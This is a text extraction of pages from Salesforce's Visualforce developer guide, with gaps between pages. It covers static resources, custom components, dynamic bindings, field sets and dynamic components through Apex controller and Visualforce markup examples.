d. In the Custom Buttons section, select Edit Stage & Date in the Available Buttons list and add it to the Selected Buttons list.
e. Click OK.
f. Click Save.
Now, when you visit the account page, there is a new button in the opportunities related list.
Example of New Button
When you select an opportunity and click Edit Stage & Date, you are taken to your custom edit page.
Example of Custom Edit Page
SEE ALSO:
Salesforce Help: Find Object Management Settings
143
144
145
Note: Cache settings on static resources are set to private when accessed via a Force.com site whose guest user's profile
has restrictions based on IP range or login hours. Sites with guest user profile restrictions cache static resources only within
the browser. Also, if a previously unrestricted site becomes restricted, it can take up to 45 days for the static resources to
expire from the Salesforce cache and any intermediate caches.
Public specifies that the static resource data cached on the Salesforce server be shared with other users in your organization
for faster load times.
The W3C specifications on Header Field Definitions has more technical information about cache-control.
Note: This feature only works for Sitesenabled organizations that use the static resource.
7. Click Save.
Warning: If you are using WinZip be sure to install the most recent version. Older versions of WinZip may cause a loss of data.
or
<apex:includeScript value="{!$Resource.MyJavascriptFile}"/>
To reference a file in an archive, use the URLFOR function. Specify the static resource name that you provided when you uploaded
the archive with the first parameter, and the path to the desired file within the archive with the second. For example:
<apex:image url="{!URLFOR($Resource.TestZip,
'images/Bluehills.jpg')}" width="50" height="50"/>
or
<apex:includeScript value="{!URLFOR($Resource.LibraryJS, '/base/subdir/file.js')}"/>
You can use relative paths in files in static resource archives to refer to other content within the archive. For example, in your CSS
file, named styles.css, you have the following style:
table { background-image: url('img/testimage.gif') }
When you use that CSS in a Visualforce page, you need to make sure the CSS file can find the image. To do that, create an archive
(such as a zip file) that includes styles.css and img/testimage.gif. Make sure that the path structure is preserved in
the archive. Then upload the archive file as a static resource named style_resources. Then, in your page, add the following component:
<apex:stylesheet value="{!URLFOR($Resource.style_resources, 'styles.css')}"/>
Since the static resource contains both the style sheet and the image, the relative path in the style sheet resolves and the image is
displayed.
146
Through a custom controller, you can dynamically refer to the contents of a static resource using the <apex:variable> tag.
First, create the custom controller:
global class MyController {
public String getImageName() {
return 'Picture.gif';//this is the name of the image
}
}
If the name of the image changes in the zip file, you can just change the returned value in getImageName.
147
148
You can modify this definition from Setup by entering Components in the Quick Find box, then selecting
VisualforceComponents, and then clicking Edit next to the myNewComponent custom component.
Once your component has been created, you can view it at
http://mySalesforceInstance/apexcomponent/nameOfNewComponent, where the value of
mySalesforceInstance is the host name of your Salesforce instance (for example, na3.salesforce.com) and the value
of nameOfNewComponent is the value of the Name field on the custom component definition.
The component is displayed as if its a Visualforce page. Consequently, if your component relies on attributes or on the content of the
component tags body, this URL may generate results that you dont expect. To more accurately test a custom component, add it to a
Visualforce page and then view the page.
149
Notice that the markup can be a combination of Visualforce and HTML tags, just like other Visualforce pages.
For a more complex example, you could use a custom component to create a form that is used across multiple Visualforce pages. Create
a new custom component named recordDisplay and copy the following code:
<apex:component>
<apex:attribute name="record" description="The type of record we are viewing."
type="Object" required="true"/>
<apex:pageBlock title="Viewing {!record}">
<apex:detail />
</apex:pageBlock>
</apex:component>
Next, create a page called displayRecords and use the following code:
<apex:page >
<c:recordDisplay record="Account" />
</apex:page>
For this example to render properly, you must associate the Visualforce page with a valid account record in the URL. For example, if
001D000000IRt53 is the account ID, the resulting URL should be:
https://Salesforce_instance/apex/displayRecords?id=001D000000IRt53
You should see a page with details about the account you passed in as an ID.
Now, replace the code in displayRecords with the following sample:
<apex:page>
<c:recordDisplay record="Contact" />
</apex:page>
Again, pass in the ID of a contact before refreshing the page. You should see the page display information about your Contact.
Custom Component Attributes contains more information on using the <apex:attribute> component.
150
<c:myComponent/>
</apex:page>
To use a custom component in a Visualforce page you must prefix the component's name with the namespace in which the component
was defined. For example, if a component named myComponent is defined in a namespace called myNS, the component can be
referenced in a Visualforce page as <myNS:myComponent>.
For ease of use, a component that is defined in the same namespace as an associated page can also use the c namespace prefix.
Consequently, if the page and component from the sample above are defined in the same namespace, you can reference the component
as <c:myComponent>.
If you want to insert content into a custom component, use the <apex:componentBody> tag.
SEE ALSO:
What are Custom Components?
Defining Custom Components
151
An <apex:attribute> tag requires values for the name, description, and type attributes:
The name attribute defines how the custom attribute can be referenced in Visualforce pages. names for attributes must be unique
within a component.
The description attribute defines the help text for the attribute that appears in the component reference library once the
custom component has been saved. The custom component is listed in the reference library with the standard components that
are also available.
The type attribute defines the Apex data type of the attribute. Only the following data types are allowed as values for the type
attribute:
Primitives, such as String, Integer, or Boolean.
sObjects, such as Account, My_Custom_Object__c, or the generic sObject type.
One-dimensional lists, specified using array-notation, such as String[], or Contact[].
Maps, specified using type="map". You dont need to specify the maps specific data type.
Custom Apex classes.
For information on additional <apex:attribute> attributes, see apex:attribute on page 362.
An identifier that allows the custom component to be referenced by other components in the page. If not specified, a unique identifier
is generated automatically.
rendered
A Boolean value that specifies whether the custom component is rendered on the page. If not specified, this value defaults to true.
SEE ALSO:
Best Practices for Accessing Component IDs
152
Note that when using the assignTo attribute, getter and setter methods, or a property with get and set values, must be
defined.
4. Add the component to a page. For example,
<apex:page>
<c:simpleComponent componentValue="Hi there, {!$User.FirstName}"/>
</apex:page>
The output of the page will look something like the following:
153
Notice that the Apex controller method changes controllerValue so that it is displayed with uppercase characters.
154
where
reference evaluates to either an sObject, an Apex class, or a global variable
expression evaluates to a string that is the name of a field, or a related object. If a related object is returned, it can be used to
recursively select fields or further related objects.
Dynamic bindings can be used anywhere formula expressions are valid. Use them on a page like this:
{!reference[expression]}
Optionally, you can add a fieldname to the end of the whole dynamic expression. If the dynamic expression resolves to an sObject,
the fieldname refers to a specific field on that object. If your reference is an Apex class, the field must be public or global.
For example:
{!myContact['Account'][fieldname]}
Your dynamic Visualforce pages should be designed to use a standard controller for the object on your page, and implement any further
customization through a controller extension.
You can use the Apex Schema.SobjectType methods to get information for your dynamic references, in particular those that
access the fields of an object. For example, Schema.SobjectType.Account.fields.getMap() returns a Map of the
names of the Account fields in a format that your Apex controllers and extensions can understand.
Important: Static references are checked for validity when you save a page, and an invalid reference will prevent you from saving
it. Dynamic references, by their nature, can only be checked at run time, and if your page contains a dynamic reference that is
invalid when the page is viewed, the page fails. Its possible to create references to custom fields or global variables which are
valid, but if that field or global value is later deleted, the page will fail when it is next viewed.
Defining Relationships
Both reference and expression can be complex expressions, such as those that evaluate to object relationships. For example,
suppose that an object called Object1__c has a relationship to another object called Object2__c. The name of the relationship between
these two objects is called Relationship__r.
If Object2__c has a field called myField, then the following dynamically-cast lookups all return a reference to the same field:
155
Object1__c.Object2__c['myField']
Object1__c['Object2__c.myField']
Object1__c['Object2__c']['myField']
Object1__c.Relationship__r[myField]
Object1__c[Relationship__r.myField]
Object1__c[Relationship__r][myField]
SEE ALSO:
Dynamic References to Global Variables
Global Variables
Next, create a page called DynamicAccountEditor that uses the above controller extension:
<apex:page standardController="Account"
extensions="DynamicAccountFieldsLister">
<apex:pageMessages /><br/>
156
<apex:form>
<apex:pageBlock title="Edit Account" mode="edit">
<apex:pageBlockSection columns="1">
<apex:inputField value="{!Account.Name}"/>
<apex:repeat value="{!editableFields}" var="f">
<apex:inputField value="{!Account[f]}"/>
</apex:repeat>
</apex:pageBlockSection>
</apex:pageBlock>
</apex:form>
</apex:page>
The constructor uses the same property that the page markup does, editableFields, to add more fields to the controllers list of
fields to load.
This works well for pages when the complete list of fields to load can be known when the controller extension is instantiated. If the list
of fields cant be determined until later in the request processing, you can call reset() on the controller and then add the fields. This
will cause the controller to send the revised query. Using Dynamic References for a User-Customizable Page provides an example of this
technique.
157
Note: Adding fields to a controller is only required if youre using the default query for a StandardController or
StandardSetController. If your controller or controller extension performs its own SOQL query, using addFields()
is unnecessary and has no effect.
For more information on these methods, see the StandardController documentation.
158
The corresponding page, DynamicCaseEditor, uses this extension to retrieve information about a particular case and its associated
contact:
<apex:page standardController="Case" extensions="DynamicCaseLoader">
<br/>
<apex:form >
<apex:repeat value="{!caseFieldList}" var="cf">
<h2>{!cf}</h2>
<br/>
<!-- The only editable information should be contact information -->
<apex:inputText value="{!caseDetails[cf]}"
rendered="{!IF(contains(cf, "Contact"), true, false)}"/>
<apex:outputText value="{!caseDetails[cf]}"
rendered="{!IF(contains(cf, "Contact"), false, true)}"/>
<br/><br/>
</apex:repeat>
</apex:form>
</apex:page>
Access this page with the ID of a valid case record specified as the id query parameter. For example,
https://Salesforce_instance/apex/DynamicCaseEditor?id=500D0000003ZtPy. Your page will display a
159
In the controller extension, the constructor performs its own SOQL query for the object to display. Here its because the pages
StandardController doesnt load related fields by default, but there are many different use cases for needing a customized
SOQL query. The query result is made available to the page through the property caseFieldList. Theres no requirement to
perform the query in the constructorit can just as easily be in the propertys get method.
The SOQL query specifies the fields to load, so its not necessary to use addFields() which was needed in A Simple Dynamic
Form.
The SOQL query is constructed at run time. A utility method converts the list of field names into a string suitable for use in a SOQL
SELECT statement.
In the markup, the form fields are displayed by iterating through the field names using <apex:repeat>, and using the field
name variable cf in a dynamic reference to get the field value. Each field is potentially written by two
components<apex:outputText> and <apex:inputText>. The render attribute on these tags controls which of the
two actually displays: if the field name contains the string Contact, then the information is rendered in an <apex:inputText>
tag, and if it doesnt, its rendered in an <apex:outputText>.
160
unSelectedNames.add(s);
}
if (!fields.get(s).getDescribe().isAccessible()) {
inaccessibleNames.add(s);
}
}
}
// The fields to show in the list
// This is what we generate the dynamic references from
public List<String> getDisplayFields() {
List<String> displayFields = new List<String>(selectedNames);
displayFields.sort();
return displayFields;
}
// Nav: go to customize screen
public PageReference customize() {
savePage = ApexPages.currentPage();
return Page.CustomizeDynamicList;
}
// Nav: return to list view
public PageReference show() {
// This forces a re-query with the new fields list
controller.reset();
controller.addFields(getDisplayFields());
return savePage;
}
// Create the select options for the two select lists on the page
public List<SelectOption> getSelectedOptions() {
return selectOptionsFromSet(selectedNames);
}
public List<SelectOption> getUnSelectedOptions() {
return selectOptionsFromSet(unSelectedNames);
}
private List<SelectOption> selectOptionsFromSet(Set<String> opts) {
List<String> optionsList = new List<String>(opts);
optionsList.sort();
List<SelectOption> options = new List<SelectOption>();
for (String s : optionsList) {
options.add(new
SelectOption(s, decorateName(s), inaccessibleNames.contains(s)));
}
return options;
}
private String decorateName(String s) {
return inaccessibleNames.contains(s) ? '*' + s : s;
}
// These properties receive the customization form postback data
161
// Each time the [<<] or [>>] button is clicked, these get the contents
// of the respective selection lists from the form
public transient List<String> selected
{ get; set; }
public transient List<String> unselected { get; set; }
// Handle the actual button clicks. Page gets updated via a
// rerender on the form
public void doAdd() {
moveFields(selected, selectedNames, unSelectedNames);
}
public void doRemove() {
moveFields(unselected, unSelectedNames, selectedNames);
}
private void moveFields(List<String> items,
Set<String> moveTo, Set<String> removeFrom) {
for (String s: items) {
if( ! inaccessibleNames.contains(s)) {
moveTo.add(s);
removeFrom.remove(s);
}
}
}
}
Note: When you save the class, you may be prompted about a missing Visualforce page. This is because of the page reference
in the customize() method. Click the quick fix link to create the pageVisualforce markup from a later block of code will
be pasted into it.
Some things to note about this class:
The standard controller methods addFields() and reset() are used in the show() method, which is the method that
returns back to the list view. They are necessary because the list of fields to display may have changed, and so the query that loads
data for display needs to be re-executed.
Two action methods, customize() and show(), navigate from the list view to the customization form and back again.
Everything after the navigation action methods deals with the customization form. These methods are broadly broken into two
groups, noted in the comments. The first group provides the List<SelectOption> lists used by the customization form, and
the second group handles the two buttons that move items from one list to the other.
Now, create a Visualforce page called DynamicCustomizableList with the following markup:
<apex:page standardController="Account" recordSetVar="accountList"
extensions="DynamicCustomizableListHandler">
<br/>
<apex:form >
<!-- View selection widget, uses StandardController methods -->
<apex:pageBlock>
<apex:outputLabel value="Select Accounts View: " for="viewsList"/>
<apex:selectList id="viewsList" size="1" value="{!filterId}">
<apex:actionSupport event="onchange" rerender="theTable"/>
<apex:selectOptions value="{!listViewOptions}"/>
</apex:selectList>
</apex:pageblock>
162
This page presents a list of accounts in your organization. The <apex:pageBlock> at the top provides a standard drop-down list
of the views defined for accounts, the same views users see on standard Salesforce account pages. This view widget uses methods
provided by the StandardSetController.
The second <apex:pageBlock> holds a <apex:pageBlockTable> that has columns added in a <apex:repeat>. All
columns in the repeat component use a dynamic reference to account fields, {!acct[f]}, to display the users custom-selected
fields.
The last piece to this mini app is the customization form. Create a page called CustomizeDynamicList. You may have already
created this page, when creating the controller extension. Paste in the following:
<apex:page standardController="Account" recordSetVar="ignored"
extensions="DynamicCustomizableListHandler">
<br/>
<apex:form >
<apex:pageBlock title="Select Fields to Display" id="selectionBlock">
<apex:pageMessages />
<apex:panelGrid columns="3">
<apex:selectList id="unselected_list" required="false"
value="{!selected}" multiselect="true" size="20" style="width:250px">
<apex:selectOptions value="{!unSelectedOptions}"/>
</apex:selectList>
<apex:panelGroup >
<apex:commandButton value=">>"
action="{!doAdd}" rerender="selectionBlock"/>
<br/>
<apex:commandButton value="<<"
action="{!doRemove}" rerender="selectionBlock"/>
</apex:panelGroup>
<apex:selectList id="selected_list" required="false"
value="{!unselected}" multiselect="true" size="20" style="width:250px">
<apex:selectOptions value="{!selectedOptions}"/>
</apex:selectList>
</apex:panelGrid>
163
This simple preferences page presents two lists, and the user moves fields from the list of available fields on the left to the list of fields
to display on the right. Clicking Show These Fields returns to the list itself.
Here are a few things to note about this markup:
This page uses the same standard controller as the list view, even though no accounts are being displayed. This is required to maintain
the view state, which contains the list of fields to display. If this form saved the users preferences to something permanent, like a
custom setting, this wouldnt be necessary.
The first list is populated by a call to the getUnSelectedOptions() method, and when the form is submitted (via either of
the two <apex:commandButton> components), the values in the list that are selected at time of form submission are saved
into the selected property. Corresponding code handles the other list.
These delta lists of fields to move are processed by the doAdd() or doRemove() method, depending on which button was
clicked.
When you assemble the controller extension and these pages, and navigate to /apex/DynamicCustomizableList in your
organization, youll see a sequence similar to the following:
1. View the customizable list in the default state, with only the account name field displayed.
164
Move some fields into the list on the right, and click Show These Fields.
3. The customized list view is displayed.
165
2. Modify the layout so it displays the custom fields above and removes the standard fields such as Created By, Last Modified By, Owner,
and Name.
3. Create a new custom object tab. Set the object to Book, and the tab style to Books.
4. Switch to the Book tab and create a few Book objects. For this tutorial, the data inside the fields doesnt actually matter.
5. Create a controller extension called bookExtension with the following code:
public with sharing class bookExtension {
private ApexPages.StandardController controller;
private Set<String> bookFields = new Set<String>();
public bookExtension (ApexPages.StandardController controller) {
this.controller = controller;
Map<String, Schema.SobjectField> fields =
Schema.SobjectType.Book__c.fields.getMap();
for (String s : fields.keySet()) {
// Only include accessible fields
if (fields.get(s).getDescribe().isAccessible() &&
fields.get(s).getDescribe().isCustom()) {
bookFields.add(s);
}
}
}
public List<String> availableFields {
get {
controller.reset();
controller.addFields(new List<String>(bookFields));
return new List<String>(bookFields);
}
}
}
6. Create a Visualforce page called booksView that uses the controller extension to show the values of the Book object:
<apex:page standardController="Book__c" extensions="bookExtension" >
<br/>
<apex:pageBlock title="{!Book__c.Name}">
<apex:repeat value="{!availableFields}" var="field">
<h2><apex:outputText
value="{!$ObjectType['Book__c'].Fields[field].Label}"/></h2>
<br/>
<apex:outputText value="{!Book__c[field]}" /><br/><br/>
</apex:repeat>
</apex:pageBlock>
</apex:page>
166
7. Since the controller extension is going to be packaged, youll need to create a test for the Apex class. Create an Apex class called
bookExtensionTest with this basic code to get you started:
public with sharing class bookExtension {
private ApexPages.StandardController controller;
private Set<String> bookFields = new Set<String>();
public bookExtension (ApexPages.StandardController controller) {
this.controller = controller;
Map<String, Schema.SobjectField> fields =
Schema.SobjectType.Book__c.fields.getMap();
for (String s : fields.keySet()) {
// Only include accessible fields
if (fields.get(s).getDescribe().isAccessible() &&
fields.get(s).getDescribe().isCustom()) {
bookFields.add(s);
}
}
controller.addFields(new List<String>(bookFields));
}
public List<String> availableFields {
get {
controller.reset();
controller.addFields(new List<String>(bookFields));
return new List<String>(bookFields);
}
}
}
Note: This Apex test is only meant to be a sample. When creating tests that are included into packages, validate all behavior,
including positive and negative results.
8. Create a package called bookBundle, and add the custom object, the Visualforce page, and the bookExtensionTest Apex
class. The other referenced elements are included automatically.
9. Install the bookBundle package into a subscriber organization.
10. After the package is installed, from the object management settings for books, add a new field called Rating.
11. Create a new Book object. Again, the values for the record dont actually matter.
12. Navigate to the booksView page with the package namespace and book ID appended to the URL. For example, if GBOOK is the
namespace, and a00D0000008e7t4 is the book ID, the resulting URL should be
https://Salesforce_instance/apex/GBOOK__booksView?id=001D000000CDt53.
When the page is viewed from the subscribing organization, it should include all the packaged Book fields, plus the newly created Rating
field. Different users and organizations can continue to add whatever fields they want, and the dynamic Visualforce page will adapt and
show as appropriate.
SEE ALSO:
Salesforce Help: Find Object Management Settings
167
Use dynamic references to lists and maps in an <apex:inputText> tag to create forms using data that isnt in your organizations
custom objects. Working with a single map can be much simpler than creating a series of instance variables in an Apex controller or
creating a custom object just for the form data.
Heres a Visualforce page that uses a map to hold form data for processing by a custom controller:
<apex:page controller="ListsMapsController">
<apex:outputPanel id="box" layout="block">
<apex:pageMessages/>
<apex:form >
168
A Map can contain references to sObjects or sObject fields. To update those items, reference a field name in the input field:
public with sharing class MapAccCont {
Map<Integer, Account> mapToAccount = new Map<Integer, Account>();
public MapAccCont() {
Integer i = 0;
for (Account a : [SELECT Id, Name FROM Account LIMIT 10]) {
mapToAccount.put(i, a);
i++;
}
}
public Map<Integer, Account> getMapToAccount() {
return mapToAccount;
}
}
<apex:page controller="MapAccCont">
<apex:form>
<apex:repeat value="{!mapToAccount}" var="accNum">
169
If the key is null, the Visualforce page renders an empty string. For example, using the same controller as above, this page shows
an empty space:
<apex:page controller="ToolController">
<!-- This renders a blank space -->
<apex:outputText value="{!toolMap[null]}" />
</apex:page>
170
You can also choose to render additional information, such as field labels and data types, through the following special properties on
the fields in the field set:
Property Name
Description
DBRequired
FieldPath
Label
Required
Type
For example, you can access the labels and data types for the fields in properNames like this:
<apex:page standardController="Contact">
<apex:pageBlock title="Fields in Proper Names">
<apex:pageBlockTable value="{!$ObjectType.Contact.FieldSets.properNames}" var="f">
<apex:column value="{!f}">
<apex:facet name="header">Name</apex:facet>
</apex:column>
<apex:column value="{!f.Label}">
<apex:facet name="header">Label</apex:facet>
</apex:column>
<apex:column value="{!f.Type}" >
<apex:facet name="header">Data Type</apex:facet>
</apex:column>
</apex:pageBlockTable>
</apex:pageBlock>
</apex:page>
If this Visualforce page is added to a managed package and distributed, subscribers can edit the properNames field set. The logic
for generating the Visualforce page remains the same, while the presentation differs based on each subscribers implementation. To
reference a field set from a managed package, you must prepend the field set with the organizations namespace. Using the markup
above, if properNames comes from an organization called Spectre, the field set is referenced like this:
{!$ObjectType.Contact.FieldSets.Spectre__properNames}
171
172
One thing to note about the above markup is the expression used to determine if a field on the form should be indicated as being a
required field. A field in a field set can be required by either the field set definition, or the fields own definition. The expression handles
both cases.
SEE ALSO:
$FieldSet
Object Schema Details Available Using $ObjectType
SEE ALSO:
Global Variables
173
To reference a static resource using the $Resource global variable, provide the name of the static resource in an expression: {!
$Resource[StaticResourceName] }. For example, if you have a getCustomLogo method that returns the name of an image
uploaded as a static resource, reference it like this: <apex:image value="{!$Resource[customLogo]}"/>.
This example illustrates how to switch between two different visual themes. First, create a controller extension named ThemeHandler
with the following code:
public class ThemeHandler {
public ThemeHandler(ApexPages.StandardController controller) { }
public static Set<String> getAvailableThemes() {
// You must have at least one uploaded static resource
// or this code will fail. List their names here.
return(new Set<String> {'Theme_Color', 'Theme_BW'});
}
public static List<SelectOption> getThemeOptions() {
List<SelectOption> themeOptions = new List<SelectOption>();
for(String themeName : getAvailableThemes()) {
themeOptions.add(new SelectOption(themeName, themeName));
}
return themeOptions;
}
public String selectedTheme {
get {
if(null == selectedTheme) {
// Ensure we always have a theme
List<String> themeList = new List<String>();
themeList.addAll(getAvailableThemes());
selectedTheme = themeList[0];
}
return selectedTheme;
}
set {
if(getAvailableThemes().contains(value)) {
selectedTheme = value;
}
}
}
}
174
175
Custom labels allow you to create text messages that can be consistently used throughout your application. Label text can also be
translated and automatically displayed in a users default language. To learn more about how to use custom labels see Custom
Labels.
Custom settings allow you to create settings for your application, which can be updated by administrators or by users themselves.
They can also be hierarchical, so that user-level settings override role- or organization-level settings. To learn more about how to
use custom settings see Custom Settings.
SEE ALSO:
Using Static Resources
$Resource
176
177
On a page that hasnt been assigned a specific record, the only two useful actions available are New and List. On a page that queries
for a record, the $Action global variable provides methods such as View, Clone, Edit, and Delete. Certain standard objects
have additional actions that make sense for their data types.
SEE ALSO:
$Action
Valid Values for the $Action Global Variable
Heres an example that uses dynamic globals to provide a general object viewer. First, create a new controller (not extension) named
DynamicObjectHandler:
public class DynamicObjectHandler {
// This class acts as a controller for the DynamicObjectViewer component
private String objType;
private List<String> accessibleFields;
public sObject obj {
get;
set {
setObjectType(value);
discoverAccessibleFields(value);
obj = reloadObjectWithAllFieldData();
}
}
// The sObject type as a string
public String getObjectType() {
return(this.objType);
}
public String setObjectType(sObject newObj) {
this.objType = newObj.getSObjectType().getDescribe().getName();
return(this.objType);
}
// List of accessible fields on the sObject
public List<String> getAccessibleFields() {
return(this.accessibleFields);
}
private void discoverAccessibleFields(sObject newObj) {
this.accessibleFields = new List<String>();
Map<String, Schema.SobjectField> fields =
178
newObj.getSObjectType().getDescribe().fields.getMap();
for (String s : fields.keySet()) {
if ((s != 'Name') && (fields.get(s).getDescribe().isAccessible())) {
this.accessibleFields.add(s);
}
}
}
private sObject reloadObjectWithAllFieldData() {
String qid = ApexPages.currentPage().getParameters().get('id');
String theQuery = 'SELECT ' + joinList(getAccessibleFields(), ', ') +
' FROM ' + getObjectType() +
' WHERE Id = :qid';
return(Database.query(theQuery));
}
// Join an Apex List of fields into a SELECT fields list string
private static String joinList(List<String> theList, String separator) {
if (theList == null)
{ return null; }
if (separator == null) { separator = ''; }
String joined = '';
Boolean firstItem = true;
for (String item : theList) {
if(null != item) {
if(firstItem){ firstItem = false; }
else { joined += separator; }
joined += item;
}
}
return joined;
}
}
179
<apex:column >
<apex:facet name="header">Label</apex:facet>
<apex:outputText value="{!$ObjectType[objectType].fields[f].Label}"/>
</apex:column>
<apex:column >
<apex:facet name="header">API Name</apex:facet>
<apex:outputText value="{!$ObjectType[objectType].fields[f].Name}"/>
</apex:column>
<apex:column >
<apex:facet name="header">Type</apex:facet>
<apex:outputText value="{!$ObjectType[objectType].fields[f].Type}"/>
</apex:column>
<apex:column >
<apex:facet name="header">Value</apex:facet>
<apex:outputText value="{!obj[f]}"/>
</apex:column>
</apex:dataTable>
</apex:pageBlockSection>
<apex:pageBlockSection columns="4">
<apex:commandButton value="View"
action="{!URLFOR($Action[objectType].View, obj.Id)}"/>
<apex:commandButton value="Edit"
action="{!URLFOR($Action[objectType].Edit, obj.Id)}"/>
<apex:commandButton value="Clone"
action="{!URLFOR($Action[objectType].Clone, obj.Id)}"/>
<apex:commandButton value="Delete"
action="{!URLFOR($Action[objectType].Delete, obj.Id)}"/>
</apex:pageBlockSection>
</apex:pageBlock>
</apex:form>
</apex:component>
180
Finally, the new component can be used to create any number of simple Visualforce pages that use the component to display a record
detail and schema info page, such as these two pages:
<apex:page standardController="Account">
<c:DynamicObjectViewer rec="{!account}"/>
</apex:page>
<apex:page standardController="Contact">
<c:DynamicObjectViewer rec="{!contact}"/>
</apex:page>
SEE ALSO:
$ObjectType
Field Schema Details Available Using $ObjectType
Object Schema Details Available Using $ObjectType
181
182
<apex:component>
<apex:componentBody>
<apex:composition>
<apex:define>
<apex:dynamicComponent>
<apex:include>
<apex:insert>
<apex:param>
<apex:variable>
If a dynamic Visualforce component refers to a specific sObject field, and that field is later deleted, the Apex code for that field
reference will still compile, but the page will fail when it is viewed. Also, you can create references to global variables such as $Setup
or $Label, and then delete the referenced item, with similar results. Please verify such pages continue to work as expected.
Dynamic Visualforce pages and expressions check attribute types more strictly than static pages.
You cant set pass-through HTML attributes on dynamic components.
183
As a convenience for your own components, you can omit the namespace, like so:
Component.MyCustomComponent myDy = new Component.MyCustomComponent();
If you are using components provided by a third party in a package, use the namespace of the package provider:
Component.TheirName.UsefulComponent usefulC = new Component.TheirName.UsefulComponent();
If an attribute isnt defined in the constructor, the component's default values are used for that attribute.
There are two components that must have an attribute defined in the constructor, rather than through a property:
Component.Apex.Detail must have showChatter=true passed to its constructor if you want to display the Chatter
information and controls for a record. Otherwise, this attribute is always false.
Component.Apex.SelectList must have multiSelect=true passed to its constructor if you want the user to be
able to select more than one option at a time. Otherwise, this value is always false.
These values are Booleans, not Strings; you dont need to enclose them in single quote marks.
Warning: You cant pass attributes through the class constructor if the attribute name matches an Apex keyword. For example,
Component.Apex.RelatedList cant pass list through the constructor, because List is a reserved keyword. Similarly,
Component.Apex.OutputLabel cant define the for attribute in the constructor, because its also a keyword.
184
detail.relatedList = false;
detail.title = false;
Valid expressions include those that refer to fields on standard and custom objects. Global variables and functions are also available, as
demonstrated in this example:
Component.Apex.OutputText head1 = new Component.Apex.OutputText();
head1.expressions.value =
'{!IF(CONTAINS($User.FirstName, "John"), "Hello John", "Hey, you!")}';
Passing in values through expressions is valid only for attributes that support them. Using {! } outside of the expressions
property will be interpreted literally, not as an expression.
If you want to include plain HTML, you can do so by setting the escape property on Component.Apex.OutputText to
false:
Component.Apex.OutputText head1 = new Component.Apex.OutputText();
head1.escape = false;
head1.value = '<h1>This header contains HTML</h1>';
Defining Facets
Similar to the way expressions are defined, facets act as a special property available to dynamic components. Heres an example:
Component.Apex.DataTable myTable = new Component.Apex.DataTable(var='item');
myDT.expressions.value = '{!items}';
ApexPages.Component.OutputText header =
new Component.Apex.OutputText(value='This is My Header');
myDT.facets.header = header;
For more information on facets, see Best Practices for Using Component Facets on page 343.
185
Notice that the order of elements in the equivalent static markup is the order in which the dynamic components were added to
childComponents, not the order in which they were declared in the Apex code of the getDynamicForm method.
186
</apex:page>
Heres the associated controller that provides the dynamic component definition, and illustrates the effect of the invokeAfterAction
attribute.
public class DeferredDynamicComponentController {
private String msgText { get; set; }
public DeferredDynamicComponentController() {
this.msgText = 'The controller is constructed.';
}
public Component.Apex.OutputPanel getDynamicComp() {
// This is the component to return
Component.Apex.OutputPanel dynOutPanel= new Component.Apex.OutputPanel();
dynOutPanel.layout = 'block';
// Child component to hold the message text
Component.Apex.OutputText msgOutput = new Component.Apex.OutputText();
msgOutput.value = this.msgText;
dynOutPanel.childComponents.add(msgOutput);
return dynOutPanel;
}
public Object pageActionUpdateMessage() {
this.msgText= 'The page action method has been run.';
return null;
}
}
With the default behavior for dynamic components, the msgText value thats set in the constructor is displayed by the dynamic
component. Setting invokeAfterAction="true" on the dynamic component changes that behavior. The page waits for the
pageActionUpdateMethod to be completed and then creates the dynamic component, and so the component displays the
value for msgText thats set in the pageActionUpdateMessage action method instead.
Note: The invokeAfterAction attribute is available for dynamic components in pages set to API version 31.0 or later.
<apex:actionFunction>
<apex:actionPoller>
<apex:actionSupport>
<apex:commandButton>
<apex:commandLink>
187
<apex:page>
<apex:togglePanel>
When invokeAfterAction="false" is set on a dynamic component, the order of execution is as follows. This is the default
behavior for dynamic components.
1. Invoke the dynamic components creation method, which constructs the component.
2. Invoke the action method.
3. Rerender the page.
When invokeAfterAction="true" is set on a dynamic component, the order of execution is as follows.
1. Invoke the action method.
2. Invoke the dynamic components creation method, which constructs the component.
3. Rerender the page.
Note: In the second case, if the action method returns a PageReference, Visualforce will redirect the request to the new page,
and the dynamic components creation method wont be run. To avoid a possible order-of-execution bug, its a best practice that
methods that create dynamic components dont have side effects.
Next, create two more custom objects called Student and Teacher. After you finish creating each object:
1. Click New under Custom Fields & Relationships.
2. Select Master-Detail Relationship, then click Next.
3. Select Classroom from the drop-down list, then click Next.
4. Continue to click Next, leaving all the default values intact.
Create the following objects and matching relationships:
A new Student named Johnny Walker, and a new Teacher named Mister Pibb, both assigned to Science 101.
Another new Student named Boont Amber, and a new Teacher named Doctor Pepper, both assigned to Math 201.
188
Now, create a new Apex page called DynamicClassroomList and paste the following code:
public class DynamicClassroomList {
private
private
private
private
ApexPages.StandardSetController controller;
PageReference savePage;
Set<String> unSelectedNames;
Set<String> selectedNames;
189
}
public PageReference customize() {
savePage = ApexPages.CurrentPage();
savePage.getParameters().put('id', objId);
return Page.dynamicclassroomlist;
}
// The methods below are for constructing the select list
public List<SelectOption> selectedOptions {
get {
List<String> sorted = new List<String>(selectedNames);
sorted.sort();
List<SelectOption> options = new List<SelectOption>();
for (String s: sorted) {
options.add(new SelectOption(s, s));
}
return options;
}
}
public List<SelectOption> unSelectedOptions {
get {
Schema.DescribeSObjectResult R = Classroom__c.SObjectType.getDescribe();
List<Schema.ChildRelationship> C = R.getChildRelationships();
List<SelectOption> options = new List<SelectOption>();
for (Schema.ChildRelationship cr: C) {
String relName = cr.getRelationshipName();
// We're only interested in custom relationships
if (relName != null && relName.contains('__r')) {
options.add(new SelectOption(relName, relName));
}
}
return options;
}
}
190
After trying to save, you may be prompted about a missing Visualforce page. Click the link to create the page: the next blocks of code
will populate it.
Create a Visualforce page called dynVFClassroom and paste the following code:
<apex:page standardController="Classroom__c" recordSetVar="classlist"
extensions="DynamicClassroomList">
<apex:dynamicComponent componentValue="{!ClassroomRelatedLists}"/>
<apex:form>
<apex:pageBlock title="Classrooms Available" mode="edit">
<apex:pageMessages/>
<apex:selectRadio value="{!objId}">
<apex:selectOptions value="{!displayObjsList}"/>
</apex:selectRadio>
</apex:pageBlock>
<apex:commandButton value="Select Related Items" action="{!Customize}"/>
</apex:form>
</apex:page>
Finally, create a page called DynamicClassroomList. If youve been following this tutorial from the beginning, you should have
already created this page when constructing your controller extension. Paste in the following code:
<apex:page standardController="Classroom__c" recordsetvar="listPageMarker"
extensions="DynamicClassroomList">
<apex:messages/><br/>
<apex:form>
<apex:pageBlock title="Select Relationships to Display" id="selectionBlock">
